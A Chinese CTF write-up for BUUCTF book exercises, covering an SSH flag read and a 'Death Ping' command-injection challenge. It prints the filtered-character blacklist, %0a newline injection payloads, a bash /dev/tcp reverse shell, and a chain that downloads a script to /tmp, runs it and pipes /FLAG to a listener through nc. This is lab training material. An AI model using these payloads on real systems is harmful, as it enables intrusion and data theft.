《从0到1:CTFer成长之路》书籍配套题目,来源网站:《从0到1:CTFer成长之路》
ssh -p 28412 root@node3.buuoj.cn
node3.buuoj.cn:28412
C:\WINDOWS\system32>ssh -p 28412 root@node3.buuoj.cn
root@node3.buuoj.cn's password:
Last login: Fri Feb 26 02:26:13 2021 from 172.16.128.14
root@eef94e4eb444:/# cd ..
root@eef94e4eb444:/# sl
-bash: sl: command not found
root@eef94e4eb444:/# ls
bd_build boot etc get-pip.py lib media opt root sbin sys usr
bin dev flag.txt home lib64 mnt proc run srv tmp var
root@eef94e4eb444:/# cat flag.txt
flag{
a22846a4-5a80-4578-8a3c-22cd4e772e28}
root@eef94e4eb444:/#
root@ea1f42b1ee35:/# curl cip.cc
IP : 111.73.45.68
地址 : 中国 江西 上饶
运营商 : 电信
数据二 : 江西省上饶市 | 电信
数据三 : 中国江西上饶 | 电信
URL : http://www.cip.cc/111.73.45.68
一开始我的BurpSuite有中文乱码问题,先在这里修改一下,
快速解决BurpSuite中文乱码问题.
或者更简单的方法就是就三种反馈结果,除去另外两个就是我们要,
Result:
IP Ping 成功.
IP Ping 失败.
IP包含恶意字符.
["$", "{", "}", "`", ";", "&", "|", "(", ")", "\"", "'", "~", "!", "@", "#", "%", "^", "*", "[", "]", "\\", ":", "-", "_"];
ip=127.0.0.1%0als
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
ls
cat /FLAG | nc your_buu_ip 8089
root@eef94e4eb444:/# ls
root@ea1f42b1ee35:~# cd ../
root@ea1f42b1ee35:/# ls
bd_build boot etc get-pip.py lib media opt root sbin sys usr
bin dev flag.txt home lib64 mnt proc run srv tmp var
root@ea1f42b1ee35:/# vim 1.sh
root@ea1f42b1ee35:/# cat 1.sh
ls
cat /FLAG | nc 111.73.45.68 8089
127.0.0.1%0acurl your_buu_ip/1.sh > /tmp/1.sh #请求bash文件到tmp目录
127.0.0.1%0acurl 111.73.45.68/1.sh > /tmp/1.sh
127.0.0.1%0achmod 777 /tmp/1.sh
nc -lvp 8089 #your_buu_ip的机器上进行监听8089端口
127.0.0.1%0ash /tmp/1.sh #执行bash文件
但我试过8080,8089.都没有flag回显,后续原因我再看看,
但官方流程就是这样
本文参考
BUUCTF–[第二章 web进阶]死亡ping命令
官方Wp:
wp
通过可以发现是存在一些黑名单过滤的,被拦截时候显示IP包含恶意字符。
利用fuzz的方式能够知道过滤了以下字符:
["$", "{", "}", "`", ";", "&", "|", "(", ")", "\"", "'", "~", "!", "@", "#", "%", "^", "*", "[", "]", "\\", ":", "-", "_"];
通过%0a能够注入新的一条命令进行执行。
POST /ping.php HTTP/1.1
Host: testabc.com:53340
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
ip=127.0.0.1%0awhoami>/tmp/aaaaa
由于docker是没有bash、python程序的,并且sh反弹是不行的。
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
目前是能通过折中的方式执行任意命令
请求bash文件到tmp目录
127.0.0.1%0acurl 172.16.128.14/1.sh > /tmp/1.sh
给bash加权限
127.0.0.1%0achmod 777 /tmp/1.sh
10.211.55.2的机器上进行监听8080端口
nc -l 8080
执行bash文件
127.0.0.1%0ash /tmp/1.sh
1.sh内容为
ls
cat /FLAG | nc 10.211.55.2 8080
BUUCTF-Basic-Linux Labs